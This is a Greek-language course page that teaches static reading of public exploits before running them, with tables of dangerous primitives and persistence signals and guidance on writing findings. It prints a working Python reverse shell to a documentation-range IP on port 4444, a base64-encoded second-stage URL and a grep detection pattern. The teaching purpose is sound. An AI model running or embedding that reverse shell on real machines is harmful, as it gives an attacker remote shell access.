Skip to main content

Ανάλυση επιθετικού κώδικα — Έννοιες

Ένα δημόσιο exploit δεν είναι μια συνταγή. Είναι ένα πρόγραμμα που έγραψε κάποιος άλλος, μερικές φορές για να τεκμηριώσει μια αδυναμία, μερικές φορές για να εγκαταστήσει τη δική του από πάνω. Το να το διαβάζετε χωρίς να το εκτελείτε είναι μια τέχνη. Αυτό το μάθημα θέτει τη μέθοδο, τα σήματα, και τον τρόπο να το μετατρέψετε σε εύρημα.

Πρώτα διαβάζετε, ποτέ μην εκτελείτε

Το να ανοίξετε ένα script «exploit» στον διερμηνέα ισοδυναμεί με το να δεχτείτε να γίνετε ο στόχος. Ένα αποθετήριο GitHub με τίτλο PoC CVE-20xx περιέχει τακτικά ένα δεύτερο στάδιο: δικτυακή ανάκληση, προσθήκη κλειδιού SSH, προγραμματισμένη εργασία. Η ανάγνωση γίνεται σε έναν επεξεργαστή κειμένου, με less, bat ή Get-Content. Όχι με python exploit.py.

Τι θα ξέρετε να κάνετε μετά από αυτό το μάθημα​

  • Να διακρίνετε SAST και DAST, και να ξέρετε ποιο να ανοίξετε πρώτο μπροστά σε ένα επιθετικό εργαλείο.
  • Να εφαρμόζετε μια στατική ανάγνωση σε τέσσερα βήματα πριν από κάθε εκτέλεση.
  • Να ονομάζετε τις ευαίσθητες primitives (eval, exec, socket, pickle, κλήσεις shell) και τι προδίδουν.
  • Να ανασυνθέτετε το μοντέλο απειλής ενός script: προνόμιο, έκδοση, δίκτυο, επιμονή.
  • Να εντοπίζετε μέσα σε λίγα δευτερόλεπτα τα σήματα συναγερμού: URL ή IP κωδικοποιημένα εκ των προτέρων, base64, XOR, εγγραφές στο authorized_keys, στο crontab, στο Registry\Run.
  • Να συντάσσετε ένα εύρημα (απόδειξη, επίπτωση, αποκατάσταση) και να γνωρίζετε το πλαίσιο μιας συντονισμένης αποκάλυψης.

1. SAST εναντίον DAST — δύο ματιές, μία σειρά​

Δύο οικογένειες ανάλυσης, δύο αντικείμενα, δύο διαφορετικά ψεύδη.

ΠροσέγγισηΤι εξετάζετεΤι εκτελείτεΤι λαμβάνετε
SAST (Static Application Security Testing)Την πηγή, το bytecode, το script, το αποσυναρμολογημένο δυαδικόΤίποτα από τον στόχο, τίποτα από το scriptΥποψήφια ευρήματα, primitives, μυστικά, νεκρά μονοπάτια
DAST (Dynamic Application Security Testing)Την εφαρμογή που τρέχειΑιτήματα, μερικές φορές payloadsΕπιβεβαιώσεις, συμπεριφορές, διαφορετικά ψευδώς θετικά

Η SAST απαντά στο: «τι είναι ικανός να κάνει αυτός ο κώδικας;» Η DAST απαντά στο: «τι κάνει πραγματικά αυτή η υπηρεσία όταν την ερεθίσουμε;»

Μπροστά σε ένα επιθετικό εργαλείο (δημόσιο exploit, script αυτοματοποίησης, module Metasploit που βρέθηκε εκτός πλαισίου), η σειρά δεν είναι διαπραγματεύσιμη: SAST πρώτα. Δεν έχετε ακόμα το δικαίωμα να ανακαλύψετε «δυναμικά» τι στέλνει το script προς το 203.0.113.7.

Μπροστά σε μια εφαρμογή που ελέγχετε (lab, ανάθεση, αποθετήριο πελάτη), τα δύο συμπληρώνονται. Το Semgrep και το Bandit συντάσσουν τη λίστα των υποψηφίων. Το Burp και οι χειροκίνητες δοκιμές επιβεβαιώνουν τι είναι προσβάσιμο. Ένα εύρημα επιθεώρησης κώδικα στηρίζεται συχνά μόνο στη SAST: η απόδειξη είναι μια γραμμή, όχι ένα screenshot ενός shell.

Οι διευθύνσεις αυτού του μαθήματος

Όλες οι παραδειγματικές IP είναι εύρη τεκμηρίωσης (RFC 5737), ιδίως το 203.0.113.0/24. Δεν δρομολογούν προς κάποιο πραγματικό μηχάνημα. Αν ένα script που διαβάζετε δείχνει αλλού — οικιακό εύρος, VPS, άγνωστο domain — αυτό είναι ήδη ένα σήμα.


2. Γιατί η στατική ανάγνωση προηγείται της εκτέλεσης​

Τρεις λόγοι, κανένας δεν είναι θεωρητικός.

Μπορείτε να γίνετε το θύμα. Το αρχείο ονομάζεται exploit.py. Στο πρώτο import, ανοίγει ένα socket, γράφει ένα κλειδί, κατεβάζει ένα δεύτερο script. Ο τίτλος του αποθετηρίου δεν σας προστατεύει. Τα πιο διαμοιρασμένα «PoC» είναι επίσης τα πιο αντιγραμμένα, και τα πιο συχνά επανοπλισμένα.

Μπορείτε να βγείτε εκτός πλαισίου. Το να εκτελέσετε ένα exploit χωρίς να έχετε διαβάσει τον στόχο, την έκδοση, την προϋπόθεση δικτύου, σημαίνει να επιτίθεστε στα τυφλά. Εκτός lab και εκτός RoE, αυτό είναι αδίκημα. Ακόμα και σε ανάθεση, ένα script που σαρώνει το 10.0.0.0/8 ενώ το πεδίο εφαρμογής είναι ένα /28 σας βγάζει εκτός συμβολαίου.

Χάνετε αυτό που επιβιώνει του shell. Πολλοί μαθητές σταματούν στο «αυτό ανοίγει ένα /bin/sh». Η χρήσιμη ερώτηση έρχεται μετά: παραμένει; Μια γραμμή στο crontab, μια τιμή στο HKCU\...\Run, ένα κλειδί στο ~/.ssh/authorized_keys αξίζει περισσότερο, τόσο για τον αμυνόμενο όσο και για την αναφορά, από το ίδιο το shell.

Ο απλός κανόνας: αν δεν μπορώ να εξηγήσω το script σε κάποιον άλλο, δεν έχω το δικαίωμα να το εκτελέσω.


3. Η μέθοδος ανάγνωσης, σε τέσσερα βήματα​

Είναι η ίδια πλέγμα για ένα reverse shell δέκα γραμμών και για ένα framework διακοσίων αρχείων.

3.1. Στατικά πρώτα​

Ανοίξτε το σε έναν επεξεργαστή κειμένου. Καταγράψτε τα imports, τα συμπεριλαμβανόμενα αρχεία, τις δικτυακές κλήσεις, τις εγγραφές στον δίσκο. Μην κάνετε compile «για να δείτε». Μην κάνετε import σε ένα άγνωστο module: στην Python, το απλό import εκτελεί το σώμα του αρχείου.

# Ανάγνωση, όχι εκτέλεση
less exploit.py
bat --paging=never exploit.py
Get-Content .\outil.ps1
strings -n 8 binaire_inconnu | less

3.2. Εντοπισμός των ευαίσθητων primitives​

Μια primitive είναι μια κλήση που αλλάζει τον κόσμο: εκτέλεση κώδικα, άνοιγμα δικτύου, εγγραφή σε αρχείο εμπιστοσύνης, απενεργοποίηση μιας άμυνας. Τις αναζητάτε πριν κατανοήσετε τα υπόλοιπα. Ένας πίνακας αρκεί.

PrimitiveΣυχνές γλώσσεςΤι επιτρέπειΑνάγνωση
eval, execPython, PHPΕκτέλεση μιας συμβολοσειράς ως κώδικαΤο payload έρχεται συχνά από αλλού (δίκτυο, αρχείο, όρισμα)
Function, setTimeout(string)JavaScriptΤο ίδιο στον browser ή στο NodeΑποθηκευμένο XSS ή εργαλείο συγκάλυψης
socket, connect, requests.getPython, C, GoΑνάκληση ή λήψηC2, reverse shell, δεύτερο στάδιο
subprocess, os.system, Runtime.execPython, JavaShellΚατασκευασμένη εντολή, συχνά ευάλωτη σε injection
pickle.loads, yaml.load, unserializePython, PHPΑποσειριοποίησηΕκτέλεση κώδικα κατά τη φόρτωση
ctypes, reflection, NativePython, Java, .NETΚλήσεις χαμηλού επιπέδουΠαράκαμψη, injection
os.dup2Python, CΑνακατεύθυνση stdin/stdout/stderrΚλασικός δείκτης ενός reverse shell

Δεν χρειάζεται να κατανοήσετε όλο το script για να περικυκλώσετε αυτές τις κλήσεις. Η υπόλοιπη ανάγνωση κρέμεται από αυτές.

3.3. Εντοπισμός του payload​

Τρεις ερωτήσεις, με αυτή τη σειρά:

  1. Τι εγκαθιστά ή αντικαθιστά; Δυαδικό αρχείο, κλειδί, υπηρεσία, μεταβλητή περιβάλλοντος.
  2. Με ποιον επικοινωνεί; IP, domain, θύρα, πρωτόκολλο, κατεύθυνση (εισερχόμενη / εξερχόμενη).
  3. Τι διατηρεί; Τίποτα (εφήμερο shell), ή έναν μηχανισμό που επιβιώνει της επανεκκίνησης.

Ένα reverse shell TCP έξι γραμμών συχνά δεν εγκαθιστά τίποτα. Μια «διόρθωση» πενήντα γραμμών που αγγίζει το authorized_keys εγκαθιστά μια πόρτα. Δεν είναι η ίδια οικογένεια, δεν είναι το ίδιο εύρημα.

3.4. Ανασύνθεση του μοντέλου απειλής​

Ένα script χωρίς μοντέλο απειλής είναι ένα ανέκδοτο. Πρέπει να μπορείτε να συμπληρώσετε αυτόν τον πίνακα πριν καταλήξετε σε συμπέρασμα.

ΕρώτησηΓιατί μετράει
Ποιο προνόμιο πρέπει ήδη να έχετε;Τοπικός user, αυθεντικοποιημένη web συνεδρία, ανώνυμος απομακρυσμένος: η επίπτωση αλλάζει.
Ποια έκδοση, ποιο προϊόν;Ένα exploit WordPress 4.7 δεν λέει τίποτα για ένα 6.x.
Ποιες δικτυακές προϋποθέσεις;Έξοδος TCP 4444, DNS, SMB, μόνο localhost.
Πώς μοιάζει η επιτυχία;Shell, κλοπή token, εγγραφή αρχείου, άρνηση υπηρεσίας.
Τι απομένει μετά;Τίποτα, ή μια επιμονή που ο πελάτης πρέπει να αφαιρέσει.

Χωρίς αυτό το τελευταίο κουτί, δεν ξέρετε τι να συστήσετε. Ένα shell χωρίς επιμονή κλείνει. Ένα κλειδί SSH δεν κλείνει.


4. Τα σήματα που πρέπει να εντοπίζονται αμέσως​

Δεν θα έχετε πάντα τον χρόνο για μια πλήρη επιθεώρηση. Αυτά τα μοτίβα φαίνονται σε μια γρήγορη σάρωση, συχνά με grep.

ΣήμαΠού εμφανίζεταιΑνάγνωση
URL κωδικοποιημένο εκ των προτέρων προς τρίτοhttp://, https://, ftp://Λήψη δεύτερου σταδίου, εξαγωγή δεδομένων, «ενημέρωση»
Κυριολεκτική IPΙδίως εκτός RFC 1918 και εκτός ευρών τεκμηρίωσηςC2, ανάκληση, εσωτερική σάρωση εκτός πλαισίου
base64 ή XORΜακριές συμβολοσειρές, b64decode, bytes([…]) ^ cleΚρυφό payload ή URL — προς αποκωδικοποίηση, όχι εκτέλεση
~/.ssh/authorized_keysecho, >>, open(..., "a")Επιμονή SSH: ένα κλειδί του επιτιθέμενου γίνεται νόμιμο login
crontab / schtasks@reboot, * * * * *Χρονική επιμονή
Registry\RunHKCU\Software\Microsoft\Windows\CurrentVersion\RunΕπιμονή συνεδρίας Windows
Σαμποτάζ άμυναςSet-MpPreference -DisableRealtimeMonitoring, διακοπή ufw / iptablesΤο script προετοιμάζει το έδαφος· η διαπίστωσή του αξίζει ξεχωριστό εύρημα
# Στατική σάρωση — το αρχείο δεν ερμηνεύεται
grep -nE 'eval|exec\(|socket|subprocess|pickle|b64|base64|xor|authorized_keys|crontab|DisableRealtimeMonitoring' exploit.py

Μια IP στο 203.0.113.0/24 σε αυτό το μάθημα είναι παράδειγμα. Η ίδια μορφή σε ένα script που κατεβάσατε σήμερα το πρωί είναι μια εξωτερική ανάκληση. Μια IP στο 192.0.2.0/24 ή στο 198.51.100.0/24 επίσης (RFC 5737). Μια IP στο 8.8.8.8 δεν είναι C2, είναι συνήθως ένας resolver. Μια IP σε 185.x ή 45.x οικιακή / VPS αξίζει να ανοίξετε whois πριν συνεχίσετε.

4.1. Σχολιασμένο παράδειγμα — reverse shell σε Python​

Το παρακάτω απόσπασμα είναι παιδαγωγικό. Δεν εκτελείται σε αυτήν τη σελίδα, και δεν το εκτελείτε.

# ΝΑ ΜΗΝ ΕΚΤΕΛΕΣΤΕΙ — παιδαγωγική επισήμανση.
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # socket TCP
s.connect(("203.0.113.7", 4444)) # εξωτερική ανάκληση κωδικοποιημένη εκ των προτέρων
os.dup2(s.fileno(), 0) # ανακατεύθυνση stdin
os.dup2(s.fileno(), 1) # ανακατεύθυνση stdout
os.dup2(s.fileno(), 2) # ανακατεύθυνση stderr
subprocess.call(["/bin/sh", "-i"]) # διαδραστικό shell

Ανάγνωση, γραμμή προς γραμμή:

ΓραμμήPrimitiveΤι κάνειΤι δεν κάνει
socket(...)ΔίκτυοΔημιουργεί έναν TCP descriptorΔεν ακούει: είναι ένας client
connect(("203.0.113.7", 4444))ΑνάκλησηΣυνδέεται σε μια IP και μια θύρα κωδικοποιημένες εκ των προτέρωνΚαμία ανάλυση DNS, καμία κρυπτογράφηση
os.dup2(..., 0/1/2)ΑνακατεύθυνσηΤο shell θα μιλήσει μέσα στο socketΚαμία αυθεντικοποίηση
subprocess.call(["/bin/sh", "-i"])ΕκτέλεσηΔιαδραστικό shellΚαμία επιμονή, καμία συγκάλυψη

Μοντέλο απειλής σε μία πρόταση: εξερχόμενο reverse shell TCP, προϋπόθεση = δυνατότητα εκτέλεσης Python στο μηχάνημα, επιτυχία = απομακρυσμένο shell, τι απομένει = τίποτα (εφήμερη διεργασία). Πιθανός εντοπισμός: κανόνας ασυνήθιστης εξόδου προς τη θύρα 4444, ή απλή ανάγνωση της πηγής.

Αυτή είναι η πιο ευανάγνωστη περίπτωση. Η επόμενη επίδειξη προσθέτει ένα script bash που, αυτό, διατηρείται, και εργαλεία που βρίσκουν μόνα τους τα ίδια μοτίβα σε μια εφαρμογή.

4.2. base64 και XOR — το να αποκωδικοποιείς δεν σημαίνει να εκτελείς​

Μια αδιαφανής συμβολοσειρά δεν είναι επιχείρημα για «να δοκιμάσω το script». Είναι επιχείρημα για να την αποκωδικοποιήσετε σε ένα σημειωματάριο.

# Απομονωμένη αποκωδικοποίηση: παίρνουμε κείμενο, δεν το περνάμε σε διερμηνέα
printf '%s' 'aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo' | base64 -d
# → https://203.0.113.7/outils/maj.sh
# Παιδαγωγικό XOR: το κλειδί 0x13 είναι μέσα στο script, ορατό
chiffre = bytes.fromhex("2123203d233d2222203d24")
clair = bytes(b ^ 0x13 for b in chiffre)
# clair == b'203.0.113.7' — να σημειωθεί, όχι να επικοινωνήσετε με αυτό

Το αποτέλεσμα της αποκωδικοποίησης επανεντάσσεται στο πλέγμα: URL τρίτου, IP, εντολή. Το καταχωρείτε στο μοντέλο απειλής. Δεν το κάνετε curl, δεν το κάνετε bash.


5. Τι αλλάζουν τα εργαλεία — και τι δεν αλλάζουν​

Τα Semgrep, Bandit, Gitleaks, ripgrep: είναι επιταχυντές ανάγνωσης, όχι υποκατάστατα.

ΕργαλείοΔύναμηΌριο
SemgrepΚανόνες πολλαπλών γλωσσών, μοτίβα (SQLi, injections, secrets)Απούσα κανόνας = τρύπα· ψευδώς θετικά σε νεκρό κώδικα
BanditΕξειδικευμένο στην Python, σταθερά IDs (B301, B608)Αγνοεί το PHP, το PS1, το bash εκτός Python
GitleaksΜυστικά κωδικοποιημένα εκ των προτέρων, κλειδιά AWS, tokensΔεν κατανοεί μια primitive eval
grep / rgΕσείς επιλέγετε το μοτίβοΒρίσκετε μόνο ό,τι ξέρετε να ονομάσετε

Ένα εργαλείο που δεν λέει τίποτα δεν αποδεικνύει την απουσία payload. Ένα εργαλείο που φωνάζει για ένα eval πάνω σε μια σταθερή συμβολοσειρά σε ένα unit test δεν αποδεικνύει RCE. Παραμένετε ο αναγνώστης. Η επίδειξη δείχνει την πραγματική έξοδο· το εργαστήριο σας κάνει να αποφασίσετε.

Ψευδώς θετικά, ψευδώς αρνητικά

Η SAST υπερεκτιμά (ένα execute πάνω σε μια σταθερά) και υποεκτιμά (μια primitive κρυμμένη πίσω από δύο συναρτήσεις δικές σας). Ένα εύρημα στηρίζεται στη γραμμή που διαβάστηκε, όχι μόνο στο αναγνωριστικό Bandit. Αντιστρόφως, «το Bandit δεν είπε τίποτα» δεν είναι συμπέρασμα ελέγχου.


6. Τεκμηρίωση όπως σε ένα εύρημα​

Το να διαβάζετε χρησιμεύει μόνο αν βγαίνει στην αναφορά. Ένα επιθετικό εργαλείο, ή μια αδυναμία που βρέθηκε στην πηγή, τεκμηριώνεται με τα ίδια τρία μπλοκ όπως το module αναφοράς.

  1. Απόδειξη — αρχείο, γραμμή, απόσπασμα, αναγνωριστικό εργαλείου. Όχι «το script φαίνεται επικίνδυνο».
  2. Επίπτωση — ποιος μπορεί τι, με ποια προϋπόθεση. Ένα pickle.loads σε μια ανώνυμη διαδρομή δεν έχει την ίδια επίπτωση με ένα md5 σε έναν εσωτερικό κωδικό πρόσβασης.
  3. Αποκατάσταση — η διόρθωση, ή η αφαίρεση της επιμονής, ή ο κανόνας εντοπισμού. Μια πρόταση που μπορεί να εφαρμοστεί.

Προσθέστε, όταν πρόκειται για ένα εργαλείο και όχι μια εφαρμογή: τη σύσταση να μην το εκτελέσετε, το μοντέλο απειλής, και τι μπορεί ήδη να μπλοκάρει το SOC (έξοδος 4444, εγγραφή authorized_keys).

Είναι το ίδιο αντανακλαστικό όπως για μια SQLi: ο αναγνώστης της αναφοράς πρέπει να μπορεί να επαληθεύσει χωρίς να επανεκκινήσει την επίθεση. Εδώ, επαληθεύει ανοίγοντας το αρχείο.


7. Δεοντολογία — η δημοσίευση δεν είναι αθώα​

Η δημοσίευση ενός λειτουργικού exploit — ακόμα και «για την επιστήμη» — δεσμεύει σε τρία καθήκοντα. Ο οδηγός της ενότητας τα θέτει· ισχύουν και εκτός σχολής.

  1. Περίοδος συντονισμένης αποκάλυψης με τον εκδότη. Ο ερευνητής ειδοποιεί, ο εκδότης διορθώνει, και μετά βγαίνει η λεπτομέρεια. Οι συνηθισμένες προθεσμίες κινούνται γύρω στις 90 ημέρες· το συμβόλαιο ή η πολιτική του παρόχου υπερισχύει.
  2. Τεκμηριωμένη αποκατάσταση. Ένα PoC χωρίς διόρθωση, χωρίς διορθωμένη έκδοση, χωρίς μέτρο εντοπισμού, είναι ένα όπλο που παραδίδεται χωρίς οδηγίες. Το εύρημά σας πρέπει να φέρει τη θεραπεία.
  3. Πλαίσιο ευθύνης απέναντι στους χρήστες. Το να αντιγράψετε ένα exploit σε ένα δημόσιο αποθετήριο «για τους μαθητές» χωρίς να το αφοπλίσετε (IP τεκμηρίωσης, exit στην αρχή, πλαίσιο να μην εκτελεστεί) σας κάνει διανομέα.

Αυτό το μάθημα δείχνει σχολιασμένα αποσπάσματα, IP από RFC 5737, σκόπιμα ευάλωτα αποθετήρια που εσείς δημιουργείτε τοπικά. Δεν σας ζητά ποτέ να ανεβάσετε ένα οπλισμένο exploit, ούτε να στοχεύσετε ένα σύστημα εκτός lab.


8. Οι συγχύσεις που κοστίζουν τον περισσότερο χρόνο​

  • «Το εκτελώ, θα δω.» Θα δείτε κυρίως το δεύτερο στάδιο. Η ανάγνωση είναι ο έλεγχος.
  • «SAST = DAST χωρίς τα πακέτα.» Όχι. Η SAST δεν επιβεβαιώνει ότι μια διαδρομή είναι προσβάσιμη. Η DAST δεν διαβάζει μια επιμονή που δεν έχει ακόμα ενεργοποιηθεί.
  • «Καμία συγκάλυψη, άρα δεν είναι επικίνδυνο.» Το reverse shell της ενότητας 4 δεν έχει καμία συγκάλυψη. Είναι απόλυτα επικίνδυνο αν εκτελεστεί.
  • «Είναι εργαλείο διαχείρισης, άρα είναι ασφαλές.» Ένα script bash που «ενημερώνει τον στόλο» και ξαναγράφει το authorized_keys είναι εργαλείο διαχείρισης και επιμονή. Το όνομα του αρχείου δεν αποφασίζει.
  • «Το Gitleaks βρήκε ένα κλειδί παραδείγματος, άρα όλα είναι κόκκινα.» Το AKIAIOSFODNN7EXAMPLE είναι το κλειδί της τεκμηρίωσης της AWS. Χαρακτηρίζετε: παράδειγμα, ανακληθέν, ή πραγματικό μυστικό. Η αναφορά δεν αραιώνει τις πραγματικές διαρροές.

Τι πρέπει να θυμάστε​

Η στατική ανάγνωση είναι ο μοναδικός έλεγχος που προηγείται της εκτέλεσης. Η SAST και η DAST δεν αντικαθιστούν η μία την άλλη: η μία διαβάζει το δυνατό, η άλλη το πραγματικό. Αναζητάτε πρώτα τις primitives (eval, socket, shell, αποσειριοποίηση), έπειτα το payload, έπειτα το μοντέλο απειλής. Τα σήματα (URL/IP κωδικοποιημένα εκ των προτέρων, base64, XOR, authorized_keys, crontab, Registry\Run) σαρώνονται σε μία εντολή. Ένα εργαλείο επιταχύνει· δεν υπογράφει το εύρημα. Η δημοσίευση ενός λειτουργικού exploit χωρίς συντονισμένη προθεσμία, χωρίς θεραπεία και χωρίς πλαίσιο, βγαίνει εκτός αυτής της τέχνης.

Επόμενο μάθημα: σχολιάζουμε ένα reverse shell και ένα script bash χωρίς να τα εκτελέσουμε, και έπειτα διαβάζουμε την έξοδο των Semgrep, Bandit και Gitleaks σε μια εφαρμογή Flask.